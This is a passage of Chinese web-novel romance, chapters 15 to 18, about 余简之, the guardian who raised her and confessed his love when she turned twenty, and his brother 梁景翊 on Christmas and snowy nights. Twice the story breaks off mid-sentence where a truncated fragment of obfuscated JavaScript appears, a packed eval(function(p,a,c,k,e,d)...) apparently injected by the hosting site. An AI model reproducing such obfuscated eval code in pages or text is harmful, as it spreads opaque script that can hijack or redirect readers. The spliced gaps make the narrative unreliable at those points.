他握着手机,镜头明确地对着她的方向。他高于她,为了将她拍好,他微微屈下膝,挺括的西裤在膝弯处留下褶皱。 余简之愣神凝着那处褶皱。 它并不明显,也不深刻,只是一道弯曲凹进去的布料。记录着此刻他为她俯身的分秒。 “发什么呆呀?笑一下,快!”余平安的声音将她唤回。 余简之回神,重新看向余平安的镜头,弯了弯唇角。 余平安按下拍摄:“好看好看,太好看啦。我们妹妹怎么拍都好看。” 在她放下手机的那一刹那,余简之依然保持着刚刚的姿势,只是蓦然望了一眼梁怀聿的方向。 精品店里大多是女孩子的物品,说是给梁怀聿买围巾,两个女孩却挑起来了。各买了围巾和手套后,余平安忽然“哎哟”一声。 “等我一下,我想上厕所!”购物袋往余简之手里一塞,余平安捂着肚子转身就跑,跑出两步还回头,冲余简之飞快地挤了一下眼睛。 余简之傻眼,回过神时她已经和梁怀聿眼对眼。 “呃……等她一会。” 也不能干等,两分钟后余简之就循着香凑到了面包店门口。来到北京后,余简之什么都能理解,最不能理解的就是面包的价格。 那么小一块,就要三十大洋! 今天过节,奢侈一次吧。她挑了最胖的一块吐司,然后放下夹子。 “胃口变这么小了?”梁怀聿的声音在身后响起。 “呃……”余简之悻悻,“我和平安两个人吃就够了。”才不是因为舍不得呢! 她忍住粉色甜甜圈、巧克力脏脏包、蓝莓欧包的诱惑,却彻底在收银台旁的蛋糕柜败下阵来。里面摆放着雪人、麋鹿和红苹果形状的圣诞限定蛋糕。 余简之登时收回视线,绝不多看一眼。 “麻烦帮我拿下圣诞款的蛋糕,每种两个。” 余简之倏地转过头,一位店员回复“好的”打开蛋糕柜,另一位店员已经看出他们是同路,熟练地在她的单子后加上这几款蛋糕。 “呃——不……” 没人理她。 梁怀聿结了账,看她一眼:“不什么不?你刚才眼睛都快黏上去了。” 余简之张了张嘴,没憋出话来。等店员递过袋子时,她偷偷抿了一下嘴角。 没忍住,笑了。 余平安不在身边,梁怀聿就“原形毕露”,一口一句小豆子。 梁怀聿拎起装得满满的袋子,侧头看她:“笑什么?” “笑哥哥嘴上说我们长大了,该放手了,其实根本没有把我们当大人。” 余简之还记得从前他说这句话时,她和余平安都非常惊恐,真的以为会失去他这条大腿。结果当然与她们所想背道而驰,根本没松过手。 “我清楚地知道你们长大了。”梁怀聿平静地说。 “可哥哥还是像对小孩一样对我们。” 暖黄的灯光落在他肩上。他沉默了片刻,才开口。 “对我而言,你和平安永远是小孩。” 像是一颗切开的青柠檬,堵在余简之的心口,汁液漫过整个胸腔。心脏明明没有味觉,她却能尝到浓重的酸涩味。 余简之轻声说:“哥哥,我真的很讨厌你说这句话。” 她低头盯着鞋面,米白色的雪地靴,与今天的圣诞穿搭极其不相称的一双。她以为自己为了暖和所以别无选择,实际上她选择了这套愚蠢的圣诞小斗篷就已经够傻了,脚上穿什么都无所谓,反正她都会被冻得要命。 “特别是我二十岁那年……”她顿住,将没说完的话咽了回去。 “我真的很讨厌。哥哥,可以不要把我当小孩子了吗?” 梁怀聿沉默了几秒。 商场的热闹仿若隔着玻璃涌来,圣诞歌、孩子的笑声、拍照的咔嚓声——都像很远。 “如果我当真只把你当小孩,当初就不会对你说那些话了。” 他顿了顿,一字一句,低而清晰。 “简之,你长大了。” 15. 冬至 对自己一手养大的女孩动了心。 这是一件难以启齿的事,难以启齿到他一直刻意地抑制着自己的感情,丝毫不敢有分毫肖想。 这份感情开始于什么时候?他完全不知道。 因为这份过于强烈的克制,他的大脑不得不对内心这份昭然若揭的感情浑然不觉。 等到他意识到时,这份感情已经长成了他无法剥离的东西,像骨血,像呼吸,融在身体。 他是成年人。他看着余简之从懵懂天真的小女孩长成为亭亭少女,自己亦从少年长为沉稳男人。 怎么可以对他一直当做妹妹的女孩动心。 可是这份察觉来得太迟,那时梁怀聿已经到达一个尴尬危险的境地,进一步他们的关系将天翻地覆,退一步,他无法容忍自己什么都不做就退回到兄长的位置上。 他需要一个答案。 一个必须由她亲口说出的答案。 …… 因为梁怀聿的承诺,余简之的一生中经历过很多个雪夜。 印象最深、她一生也不会忘怀的唯有两夜,第一夜是她第一次来北京,她因未来都能来北京看雪兴奋不已。人生中第一次见到壁炉,她坐在壁炉前看书,屋外雪花飘飘,余简之一次次从故事里抬头:“哥哥,以后真的每年都来北京看雪吗?” 梁怀聿不厌其烦,每一次都郑重回应:“是的,简之。” 一言既出,十年不改。 第二夜是长大以后,本不同于童年时期的心性,她却依然像小时候那样,推开窗大叫:“下雪啦!!!” 她从小山坳一路走到了北京,来到北京念大学,再也无需梁怀聿邀请,她才能来北京。 她和舍友一起迎接了初雪,打雪仗、堆雪人……明明是与往年无异的活动,她依然不亦乐乎。 精疲力尽地回到宿舍,她抱着膝盖坐在椅上,窗外仍有稀雪飘落,她怔怔地看着窗外,欣喜过后,心里却空了一块。 这时桌上的手机嗡嗡振动,她低头一看,是梁怀聿! 心脏在瞬间失控,她立刻接起他的电话,语调却又含蓄:“哥哥。下雪了,你看到了么?” “我看到了。”隔着电线似乎都能看见他浅浅的笑,她喜欢他的笑,柔和又热烈,“晚上要一起出来看雪吗?简之。” 缺的那一块,瞬间被填满。原来是少了哥哥啊,从前每一次下雪,都是与哥哥一起迎接。 那晚他们在街上漫无目的地走,像所有无需目的地的恋人,只要并肩,方向便有了意义。 这个念头如草芽从心尖钻出来,余简之立刻掐灭它,心底泛起难堪的羞耻。 太丢脸,如果让哥哥知道,他会失望吧。 简直是一种背叛。哥哥将她从贫瘠的土地移植到广阔天地,难道是为了让她心甘情愿地,再把自己种回另一座山的荫蔽之下吗——在她和平安进入高中时,梁怀聿曾经郑重地告诉她们:他不反对早恋,但女孩子们必须至少要对世界的真谛一知半解后才能开始对爱情的探索。 世界的真谛是什么?那时她和平安茫然摇头,如今她步入二十岁,抵达社会的边缘,见过天地高低,品过人情冷热,她也终于了然。 可是她对世界的绝大多数见识,都来自于梁怀聿。 正因为见识了他构筑的世界有多辽阔安稳,她才生出这不该有的妄念,想永远停留在这片天空下。 化妆这事她还不够熟练,超出了预计花费的时间,手忙脚乱地换上提前准备好的衣服,她匆匆忙忙出来,冷风一激才察觉到冷。 她忘记戴手套,也忘记戴围巾。 梁怀聿站在路边,静静地看着她跑来,气息微乱,站定在他面前。他低下目光,看着她青涩的努力向成熟靠拢的妆容,完全将她姣好的本色减弱。 婴儿肥褪去,轮廓清晰,已是少女模样。除非纵容,否则再也无法称之为“小女孩”。 可在他心里,她永远是那个需要他蹲下身平视的小女孩。 梁怀聿摘下手套递过去,她笨拙地套上,手指在过大的空间里张开,像小猫伸展爪子,她咯咯笑起来:“哥你看,好大啊——” 笑声清脆,不断敲击着他犹豫的防线。 摘下围巾那一刹那,冬风立刻寻隙而入,刮过他裸露的脖颈,刺骨的冰冷瞬间将他疼醒。 要继续下去吗?说了就没有回头路了。她会心无芥蒂地叫他“哥哥”吗?她是他亲自教导过的女孩,他了解她的。 动作先于思想,带有他体温的围巾落在她的肩上。修长的手指在她颈间流连,不是简单地披上,更是细心地将它缠绕,围得整齐,暖和极了。 他知道他越界了,却没有停止动作。 “好了。”伴随着这句温柔的话,他后退半步,离她稍远,柔和地注视着她的面庞。 一种心尖发颤的感觉攥住了余简之。不知为何余简之感觉今晚的一切与往常完全不同,是因为她长大了吗? 她无意识地揉着围巾边缘,毛絮的手感反复将她揉搓,将心弄皱。 “谢谢哥哥。”她放轻了声音。 他们并肩走在飘雪的街上。即便沉默,却也感觉有说不完的话,在雪落的簌簌声中完成了交换。 但是,总是有什么东西,需要用声音来承载吧? 今天哥哥是不是有什么话要说呢?她静静等着,等着,等着。 大衣与大衣摩擦,寂静过浓,她猛烈地捕捉到这一点不合时宜的声响。 余简之悄悄右挪半步,几乎同时,梁怀聿做出了与她相同的动作。 他的步子永远比她大些,他们之间,再无半分间隙可言。 余简之想,围巾太暖了,暖得她脸颊发烫。她不打算摘下它,因为她需要他的体温,需要它的遮蔽。 当她决定告诉他,她长大了,是不是可以探索爱情,或许他们可以讨论一些不同于往日的话题,她的唇瓣已经打开,却被他抢先一步。 余简之听见他的声音,比她想象中更轻更沉,比雪更飘茫: “简之,我好像……没办法只做你的哥哥了。” 她的心脏与她的脚步同时停滞,心脏刹车不及,猛地撞上胸腔:“……哥哥?” 她回头,看见他站在雪里,大衣上落满了白。 她来不及分辨这份感情的具体形状,一张卡片已经塞到她的手心,她低头一看,是一张银行卡,毛线手套隔绝了它的冰冷、坚硬。 她太年轻,惊诧的表情丝毫不掩饰,明明白白地写在脸上。那一刻梁怀聿痛恨自己。 他曾教导她们,要独立,要拥有完整的自我后再做选择,绝对不要依附任何人。可轮到自己,他却渴望通过给她庸俗的金钱,让她获得短暂的虚假的平等,粉饰他的不堪。 “我想过很多次,这句话该不该说。想过你听完之后,会怎么看我。” 但今晚他不想再想了。 “这里有足够你未来十年无忧的钱。”他深吸一口气,强迫自己迎上她震惊的目光,他将心底反复煎熬的话语与龌龊的心思全部抖露出来。 “简之,我给你两个选择。”她连瞳仁都在震颤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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余简之依旧低着头。她抬了抬脚,厚重的雪地靴沉甸甸地坠着,她感觉双脚冰冷,仿佛又一次陷进了那年冬天的积雪里。 “是吗。”余简之扯了扯唇角,弧度勉强,“那为什么,我现在做的每一个决定,哥哥都想要纠正呢?” 她抬起头,却不敢看他,目光落在闪烁的圣诞彩灯上。 “我去美国,你觉得我是任性。我和景翊在一起,你觉得不合适。我穿什么衣服,你担心我冷。我住在哪里,你也要管。” 就连告白,也要将两条他认定的路明晃晃地甩在她面前,供她择其一。 她每说一句,心口就涩一分。 可是当年那个雪夜,他至少把她当做大人看待。 告白、给选择、把她推到危险的悬崖边。 现在他却缩回去,假装什么都没发生过,继续当她的哥哥。 “如果你真的觉得我长大了,哥哥,你能不能试着……接受我选的路。” 试着听听我的看法,试着了解我的见解,试着接受我的决定,试着采纳我的方案。 “哪怕你觉得那是错的。” 装着蛋糕的纸袋窸窣作响,在梁怀聿手里攥紧。 “我没办法把你当大人看。” 他的声音低得几乎要被圣诞歌淹没。 “我做不到,简之,我做不到不担心你。” 16. 冬至 理所当然的答案,在她的预料之中。她也早就准备好答复:“哥哥,你还在生气我的不告而别吗?” 问出口后,余简之忽然又不想听他的答案。 如果他说生气,这几乎是余简之预想了四年的答案,他的回答无疑让她四年来遭受的所有痛苦与孤独变得真实;如果他说不生气,余简之要气愤他的大度,因为大度只会建立在毫无关系或毫不在意的基础上。 所以余简之快速切入下一个话题。 比起等待答案,她永远更期望自己的行动。 “我希望哥哥能相信我一回,相信我的选择,相信我的决定。今天的结局,是不是会完全不一样呢?” “所以哥哥……等过我吗?……没有,对吗?” 余简之稀里糊涂地说着。像是塞满伤口的棉花,陡然被夹出,粘着沉甸甸浓浓的鲜血,而她的心空了一块。 什么不说,她做不到。 喜欢或厌恶,要大声说出来,这是余简之所受的教育。 “简之,”他再次唤她的名字,语气却已截然不同,剥离所有的私人情绪,教导般的口吻,“我没有不相信你的选择,我没有怪罪你去美国,没有怪罪你不告而别。你成年了,你的学业,你的人生,道路该怎么走,选择权在你手里,责任也在你肩上。不要将时间浪费在任何不必要的事上。” 余简之闭上眼。 他的回答哪里都对,哪里都与她的问题不沾边。 所以他没有在等她。 哪里都痛,浑身都痛,不止心口在流血。 她突然后悔当年的选择,转眼间她忽然又觉得不该后悔,除了那,她还有什么选择,难道接受他的傲慢、无耻与虚伪,从此与自由、独立、平等这三个词永成平行线。 “那天的事,是我的错,你忘了吧。不要再想了,到此为止。” 梁怀聿用一个道歉结束话题。 余简之突然想,其实鳄鱼的眼泪多难得啊,比兔子的眼泪难见多少倍。他用低头换来台阶,她不该不懂事。她只需要配合着,将这件事忘记。 她看着他逃避的双眼,有一瞬间的恍惚,差点伸手想去碰他紧握的拳头,又在最后一刻将手指蜷缩进口袋 余简之点头,很轻,几乎看不出动作。 “我知道了,哥哥。” 他们就这样静站了一会,沉默蔓延,许久余简之才意识到该给余平安打电话。 打开手机,消息弹出。 【余平安:我回家了,拜~你就说我突然接了个面试走了】 【余平安:你俩好好聊聊吧!把心里的结都解一下】 余简之面无表情地熄了屏。 “平安说她突然有个面试……呃,她走了。哥哥,我们直接回去吧。” “好,我送你回去。”梁怀聿低声应着,两人默然走出商场,冬夜的寒气劈头盖脸袭来,余简之不由耸肩,裹紧了披肩。 她想,也许他为她所选的,确实是正确的。 她是该听从他的吩咐。 两个举着巨大圣诞老人气球的孩子尖叫着从他们面前跑过,带起一阵风。气球拖曳的长绳猝不及防地缠上了余简之的披肩流苏,她被那股力道拽得一个趔趄。 梁怀聿几乎是条件反射般抬起手臂,稳稳托住她的肘弯。 “对不起,姐姐!”两个孩子赶紧跑回来,脸蛋冻得红扑扑的。 余简之笑了笑,低头耐心地从流苏间解下那根五彩的绳子,声音柔软:“没关系哦,姐姐没受伤。” “因为哥哥保护了你。”个子高些的女孩眨眨眼,指向她身侧。 余简之顺着他的手指扭头,这才看见自己刚才踉跄的方向,正对着一座商场金属装饰物的尖锐棱角,是梁怀聿的手将她隔绝。 “那,”余简之收回目光,展露笑颜,“谢谢哥哥吧。” 话音落下的瞬间,她与梁景翊对上视线。 他站在不远处的圣诞树下,脸上惯有的张扬笑容消失了,嘴唇微微抿着。 余简之只觉得耳朵里嗡的一声,表情瞬间凝固。 前面似乎有人回来招呼他,梁景翊过去应了一声,然后朝他们走来。 “哥,简之,你们怎么在一起?” 余简之不知道梁怀聿的手什么时候离开她的手臂。 顾不上那么多,她抢在他开口前赶紧答:“你怎么在这里?我今晚不是和朋友聚餐吗,我和朋友散了之后刚好和哥哥遇见了,他说送我回家。你呢?” 梁景翊深信不疑:“哦,约不到你,我就和朋友一起出来玩了。简之你要不要和我们一起去玩?” 余简之双手比了个×:“NO,我要回家了。” “那我送你呗?” 说出口后梁景翊咋舌,今天是朋友来接他,他没开车,要是送她,他得去找朋友拿车钥匙才行。 算了,也不麻烦。 余简之刚要推说“不用了”,就听见身旁人说:“不用,我送她回去就好。”梁怀聿的声音冷冷清清,衬得他俩更闹腾。 梁景翊不敢置信地瞪大眼睛。知兄莫如弟,他这位哥哥一向怕麻烦,虽然彬彬有礼,但往往不即不离,能不做的事绝不做,言行举止透着疏离。 他绝不是这种会送弟弟女友回家的人! 仔细一想,是有些奇怪,哥哥打从一开始就对余简之关心得不得了,又是搬家又是买家具的…… 梁景翊很快停止遐想,兴致勃勃:“哥,你把也我送回去吧!” 梁怀聿开车,余简之和梁景翊同坐在后座。车内气氛诡异,余简之觉得纯粹是自己的心虚在作祟。 心虚她也认了。 她缩在角落,头枕着车窗,打算装死。 偏偏这时梁景翊靠过来伸手拉了拉她的披肩:“这是什么啊?跟你的衣服一点也不搭。你闭着眼选的衣服?” 余简之拍开他的手:“滚一边去。” “困了?” “累了。” “就喝……” 余简之简直气笑:“你有病吧……” “逗逗你,感觉你怪不开心的。” 余简之一惊,她不觉得自己是那种将情绪写在脸上的人,立刻狡辩:“没有,我说了我累了。” “那行了,不烦你了。你休息吧,到了我喊你。” 圣诞夜怎么可能不堵车,余简之抬头看了看窗外,十分钟了,还在商场的停车场附近,走一下停一下的。 她认命般地揉了揉脸,余简之可以接受和梁怀聿独处,更能接受和梁景翊黏一块,她就是不能接受和他俩同时待在一起。 还好可以装死。 余简之闭上眼,拉高披肩,将自己伪装成花苞。 伪装了一会儿,真变成花苞了。 让花盛开的,是男人一句淡淡的“下雪了”。 像是一汪静止的潭水般轻,却被余简之敏锐地捕捉到。 她立时睁开眼,困意一扫而空:“下雪啦??!!” 望向窗外,白洁的雪花飘飘而落,像是尚未磨好的盐,轻轻在空中打着卷。街上的人走得不慌不忙,有人站住了,仰起脸,静静地看一会儿天。没有伞,因为不值得撑伞。 余简之打开车窗,非常非常稀疏的初雪。 这样小的雪,与其说是降落,不如说是一种弥漫,让世界边缘变得模糊,仅此而已。 余简之不在乎雪的大小,依然同小时一样,伸出手迎接。 什么也看不真切,只能凭感觉:睫毛上忽然一点转瞬即逝的凉,脸颊上倏地一丝若有若无的痒。 一颗小盐粒落在掌心,余简之尚未看清,它就已经化了,像是哈出的一口气,转瞬间消散在冷风里。 “好冷,你小心着凉。”梁景翊提醒她。 北京几乎年年落雪,他又年年去滑雪,对雪早就见怪不怪。余简之的新奇,落在他眼里,他不觉得土包,反倒觉得蛮可爱,因此等了许久,实在冷得受不了才开口。 这样小的雪,确实没什么看头。余简之应了一声,关上车窗。 车窗一开一关,余简之这才发觉车内气温冷了许多,她下意识裹紧了披肩,双手缩进怀里。 梁怀聿注意到,调高了空调温度。她将他的动作默默看在眼里,与此同时,声音也抵达耳畔: “简之很爱下雪?” 他的语气淡淡,声调淡淡,余简之甚至判断不出这是不是疑问句,比方才的雪更淡更没有看头。 余简之不由笑了,疏疏淡淡,好有意思。 她依存心意答了:“是啊。” 她刻意停顿一秒,才继续说:“每次下雪,都会发生让我特别开心的事情。” 人生中所有珍贵的记忆,似乎都发生在雪天。 梁景翊有自己的见解,他固执地分析:“因为你是南方人,南方人就是这样的,一年到头看不到几次雪,所以一下雪你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“资助人”三个字从他嘴里冒出来,余简之仿佛能看见这三个字狠狠坠在地上的样子,她突然怂了,刚刚那点故意挑衅的勇气也不知道从哪来的,反正此刻已荡然无存。 她飞快说:“没有我骗你的。我怎么可能中彩票?没有人有那么好的运气。” 她抬高一边手臂,整个身体斜靠在车窗,脸埋进披肩,示意梁景翊不要再扰她。 梁景翊被她这突如其来的冷淡和回避弄得一怔,刚想再说什么,前面梁怀聿突然开口:“景翊,你法语最近在好好学吗?你前天的课为什么请假?” 梁景翊的注意力果然被转移,立刻垮下脸:“我在学啦!我自己有安排的,哥你能不能不要老提这个!大过节的!” 话题掀过,梁怀聿不再说话,仿佛只是兄长随口询问弟弟的学业。 车安安静静地驶到小区门口,梁景翊将她喊醒:“我送你上去吧。” 雪已经停了,稀疏的雪飘到地上时就已经化了,完全看不出刚刚有一场雪降临。 余简之“噢”了一声,站在车旁等他下车,鞋子踩到地面上时,梁景翊又改变主意:“简之你陪我吃个饭再回去吧?” 余简之低头看一眼时间,还早,她点点头:“好吧。” “那哥你就回去吧,我待会直接打车回去就行。”梁景翊掌着车门,微微弯腰询问他的意见。 梁怀聿侧头看了他们一眼,余简之与梁景翊并肩站着,交织的影子在湿冷的地面上拖得细长。 没有拒绝的正当理由,梁怀聿微不可察地应了一声。 他们走出几步路,听不清梁景翊说了什么,只听见余简之的一串哈哈哈笑声。 梁怀聿坐在车里,透过车窗,静默地看着那两个年轻的身影逐渐走远,融入商铺的圣诞光晕里。 直到他们拐过路口,目光缓缓收回,掠过副驾上的蛋糕袋,彩色的缎带泛着光。 他静坐两秒,伸手拿过,推门下车。 他们比他想象中走得还要快,他迈开步子追了许久,他们的身影才出现在他的视线里。 梁怀聿加快脚步,街上行人不多,余简之的笑声始终清脆清晰,一声声挠进他的耳朵里。 “简……余简之,蛋糕忘记了。” 两位年轻人纷纷停下脚步,余简之回过头,讶异地看着他。 暖白的灯光将她的脸庞照得皎白,梁怀聿想起那个雪夜,余简之也是这样看着他。 17. 冬至 余简之对现在这个小区很满意,热闹,有烟火气,有活人感。她带着梁景翊兜了个圈,进入美食街。 “这么多人!” “对啊,这里每晚人都好多。” 余简之挑了一家人不多不少的烧烤摊,梁景翊不嫌弃路边摊,咔咔点了一连串,余简之连连提醒他:“太多了!” 两人寻了角落坐下,余简之拿纸巾擦干净桌面,蛋糕袋靠墙立着。烧烤迟迟没上来,梁景翊已经饿了:“我能吃一块吗?” 余简之愣了一下,才说“可以”。 梁景翊挨个打开看了,选了红苹果的拿出来吃。 “哥给你买的?” 余简之没撒谎:“对的。” 梁景翊纳闷:“你俩啥时候遇见的?你在哪看见他的?我哥……他今天去商场?干嘛呢?” 梁景翊的重点显然在后半段,余简之松了口气:“你问你哥不就好了,我哪知道。” “奇了怪了,我哥不过洋节,再说他也不可能一个人跑去商场过圣诞吧?喂,你真没看见他和什么女生在一起?” “没看见。你自己去问他。”余简之语气硬邦邦的,掩饰着心虚。 “我问他他肯定不会说实话。要是真是和女生一起出来就好了,他年纪这么大了,也该给我找个嫂嫂了。” 余简之回头让店员拿了瓶饮料。拧开瓶盖,喝了一口,常温的也冰得她一缩。 “你哥想找还不是分分钟的事。” “问题就是他不想找咯。之前可能因为我,要带着我,不方便。现在我都这么大了,我催过他好几次,结果呢,皇上不急太监急。我都怀疑他不会是养胃吧,唯一和他接触的异性就是我们家那只贱猫了。” 梁景翊想到那只猫就来气,后来他又和简单斗智斗勇几回,结果就是他手背上的痂至今没消除。 不费吹灰之力就聊到余简之关心的话题。 “没有女朋友?” 梁景翊冷笑一声:“你可能是他这些年说话最多的女生。” 余简之笑了:“有这么夸张吗?”她在心里想,说不定这十年来,梁怀聿接触最多的异性都是她。 梁景翊用鼻子哼了一声:“就有这么夸张。” 老板来送烤好的串,余简之身子一歪,灵巧地让开。 吃了一口热乎乎的串,梁景翊满足地说:“美滋滋,还是回国好,在纽约可没法每天吃这么香那么辣。” 余简之大惊小怪:“这不会就是你非要回国的原因吧?!” “那没有,主要是我哥要求。明年我得进公司了,不能继续潇洒了。” “那你为什么不继续在美国玩段时间?你现在每天不还是在游手好闲。” “什么叫游手好闲!我这是丰富的人生,你懂不懂!” 梁景翊愤愤地一口气吃了好几串,歇气时他接着说: “因为你不了解我哥。他吧,嘴上说不想管我,觉得我可烦,实际上他很想我的,但是又说不出口。想你啊,或者你回国咱俩见一面,这种话他都没说过,只会找个莫名其妙的由头把我喊回来,实际上就是想我了。” 梁景翊嘴上抱怨,话里话外又有几分被宠爱的得意。余简之无可避免地想起自己那像是被放逐到美国的几年,对比简直惨烈,虽然这份结果有她主动选择的原因。 “那他来美国找你呢?也找由头吗?” “算是吧,没有特意来找过我,都是出差的时候顺带来看看我。他傲娇着呢。”梁景翊指了指牛肉串,“你尝尝,好吃。” 最后梁景翊果然没吃完,余简之替他收拾了残局,剩下的她打包回去给平安吃。 梁景翊送她回家,走到半路又开始飘雪。 这次的雪,比在车上时还要小,落到脑袋上立刻化成水。余简之“哎呀”一声,护住脑袋躲到屋檐下。 “我今天不想洗头。”余简之哀怨道。 “这还不简单?”梁景翊摘了她的披肩,让她把头伸来,用披肩裹得严严实实,带子在下巴系上一个结。 他顺势托了她下巴一下,手指屈起挠了挠:“完美。” “干嘛呢?我又不是狗。”余简之瞪他。 瞪着瞪着,梁景翊没有像往常那样笑起来,或者油嘴滑舌地回击,他的眼神定定地凝在她脸上,像是被什么看不见的丝线缠住了。 “怎么了?”余简之渐渐察觉到不对劲。 虽说余简之平日里那副小淑女的模样就已经够美了,比如那天她跑来家里给他做饺子,她摘下帽子、围巾和手套,鼻尖红红脸颊红红指尖也红红,像是最甜最美味的樱桃,当时梁景翊就被美得神魂颠倒。 不对,他才不是那么肤浅的人呢,真正令他心动的是余简之总是有很多古灵精怪的小表情,他喜欢她这些鲜活的生动的时刻。 梁景翊就这么眨也不眨地盯着她,宛如陷进她的眼底无法动弹,过了半晌,他的手指又触到她的下巴,在她反抗之前快速挠了一下。 余简之刚要发火,听见他说:“余简之,你之前说你要回国寻找一个答案,找到没有?” 刚刚这么看了一会,余简之忽然发现,梁景翊和梁怀聿长得其实有几分相似,只是要细看,倘若不知道他们是兄弟,很难联想上去。 余简之盯着他那和梁怀聿相似的眉毛和眼窝,来了脾气,没好气地说:“关你啥事啊。” “余简之,我发现我还是喜欢你。所以你找到答案没有?找到了的话,我们能和好吗?” 这告白来得太自然,自然到像是在说早上好,所以余简之拒绝得也自然,丝毫不愧疚:“不能。” “是因为你还没找到答案吗?余简之,你之前说美国是云端,中国是土地,那我等你,找到答案以后,我们一起在中国安家行吗?” 小狗狗偶尔也会说人话,余简之被他这番难得正经的话整得心里莫名其妙的。 “你认真的还是开玩笑?” 明明知道梁景翊没开玩笑,余简之还是忍不住在内心疯狂祈求他说他在开玩笑。 “我认真的。余简之我什么时候骗过你?” 梁景翊哈出一口暖气,很快消散:“行吗?” “不行。我跟你没这个可能。”余简之拒绝得斩钉截铁,“我也是认真的啊。” 表白被拒,梁景翊也没太落寞,他更做不出纠缠这种事,和分手时一样爽快:“行吧。” 两人又继续沿着家走去,幸好有披肩裹着,眼珠子再怎么乱转,也转不到梁景翊身上了。 梁景翊毕竟是大少爷,被拒了虽然不会死皮赖脸,但也不可能仍摆出乐呵呵的模样,他不说话,余简之也跟着不说话了,两个人沉默着走了一段,余简之的步子乱了起来。 她停了一下,才重新迈步,左右左,又正常了。 她在心里斟酌一遍才开口:“梁景翊,我真的不陪你演戏了。” 梁景翊料到她要说这句话,爽快答应:“行。” “但是你能陪我演戏吗?” “哈?” “在你哥哥面前。”余简之驻足,诚恳地看着他,“梁景翊,你能不能继续假扮我的男朋友?” “你放心,我本来就没打算立刻跟我哥说咱俩分手了,保证不让你在上司面前留下坏印象。” 这人脑子被雪冻坏了吗?? 梁景翊一副求夸夸的表情:“我会做好铺垫再跟他说咱俩分了。不然他问东问西的,我也很苦恼。” 世界树怎么会有这么憨的人啊? 余简之呵呵干笑两声,对着他灿烂的笑忍了半天,放弃了解释的想法,扯了扯嘴角:“那真是……多谢你了。” 算了,借坡下驴,顺势而为吧,多一事不如少一事。 - 送简之进了电梯,梁景翊这才折身离开。 他对这块不熟悉,打算走到小区外再通过定位打车,却看见一辆熟悉的车停在小区门口不远处。 梁景翊疑惑走近,心里想着怎么也不可能,却发现主驾上坐的人真是梁怀聿。 “哥!”梁景翊欣喜地拉开车门坐了进去,“你今天怎么这么好啊?等我这么久。” 出来时他看了时间,过去将近一个半小时了。从小梁景翊就对哥哥的时间有着深刻的概念,什么世界首富低头捡一块钱就会损失一千万,他就是这么代入梁怀聿的。 “雪天你不好回去。”梁怀聿的调子还是那样冷冷淡淡的,没关系,梁景翊自可以品尝到浓浓的兄爱。 他恨不得扑过去给哥哥一个深深的拥抱:“OMG,我太爱你了我的好哥哥。” 梁怀聿理应嫌弃地推开他,却在他扑来时闻见他身上不属于他的味道,一时怔住,梁景翊会错意,顺其自然地加深了这个拥抱。 “网上说孩子长大了就能体会到父母的爱了,”梁景翊啧啧,“还真是这样。”< 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梁怀聿被折磨无数次后,他终于找到了梁景翊的“后颈”,像制住一只调皮的猫,稳稳掐住要害。 于是,学骑马、上网球课、参加英语集训、去海外夏令营、去国外念书…… 和这种坏小孩没有道理可讲,他不再征求梁景翊的意见,而是直接将他安置进自己认定的轨道里。梁景翊不必思考,无需挣扎,只要沿着他铺好的路往前走就行。 梁怀聿深信自己给出的是最好的。因为彼时他二十岁,是少年亦是青年,豁达亦不傲慢。他太清楚二十岁前该完成什么,才能换得一个明亮的未来。而梁景翊的年岁恰到好处,他正值生长的年纪,站在一切的起点,蓬勃生长,一切皆有可能。 “说实话,哥哥,我很懒,懒到不想思考,所以呢你帮我安排好,我按规矩做,挺轻松。” 梁怀聿看着他漫不经心的侧脸,尚年轻,却缺乏深究神采。 心里蓦地一沉,浓浓的后悔涌上。 梁景翊继续低头刷手机,梁怀聿看着他的侧脸。年轻,好看,没有心事,也没有深想事情的习惯。 梁景翊不喜读书。读书明智,但需长期坚持,调动起许多碎片时间,梁怀聿忙于工作,分身乏术,长期呆在公司,自然顾不上这些。 就是因为这样,把梁景翊养成了不爱深想、脑子一团浆糊的青年。 而余简之恰恰相反。 县城没有马场,也没有夏令营,与梁景翊相比,余简之的少年时代堪称无趣。 单调的土壤,如果悉心栽培,亦能盛开灿烂的花。她在书里探索着比梁景翊所见的更辽阔的世界。 梁怀聿记得,她在十三岁就说她最喜欢《简·爱》,于是梁怀聿在书店里给她买了一本《飘》,买单后又后悔,不太确定地告诉她这本书可能不太适合你的年龄,你可以长大了再读。 但是第二年余简之告诉他她读完了,不仅如此,她还在图书馆看了《傲慢与偏见》《面纱》,甚至《霍乱时期的爱情》,梁怀聿吓了一跳,虽觉得某些故事于她而言过早,却从未阻拦。 后来余简之跑到了他前面,当她兴冲冲地说起《喧哗与骚动》,他竟只能抱歉地承认:“我没有读过,简之。” 在书店看见这本书时,梁怀聿买下,翻了几页便搁下了。静心读完一本书,对他已是奢侈。他选择继续听余简之兴致勃勃地讲述。 再后来她说她读过《肖申克的救赎》,她介绍这是一个故事集,里面共收录了四篇故事,她最喜欢最后一个故事,并不是大名鼎鼎的肖申克。 梁怀聿问她为什么,余简之说,因为里面有句话,她读了便忘不掉。 有的人会沉沦。 梁怀聿依然购买了这本书,在《喧哗与骚动》的衬托下,这本太好读了,他抽出一个午后一口气读完。 当他读到余简之喜欢的那句原话时,被同样的力量击中: 有的人会沉沦,如此而已,并不公平,但世事就是这样,有的人会沉沦下去。 那年,梁怀聿二十六岁,余简之十六岁。 相差十岁的灵魂,同时因这句话而震颤。 是啊,会为这句话触动的人,怎会甘愿沉沦。是他忘了,明明翻开过,认真读过的书,明明是令他心脏震颤的故事,他忘了。 他纵她沉沦,她却不是这样的灵魂。 18. 小寒 余简之答应元旦和梁景翊出去玩。放假那天,梁景翊带着她和余平安去北京周边滑雪。 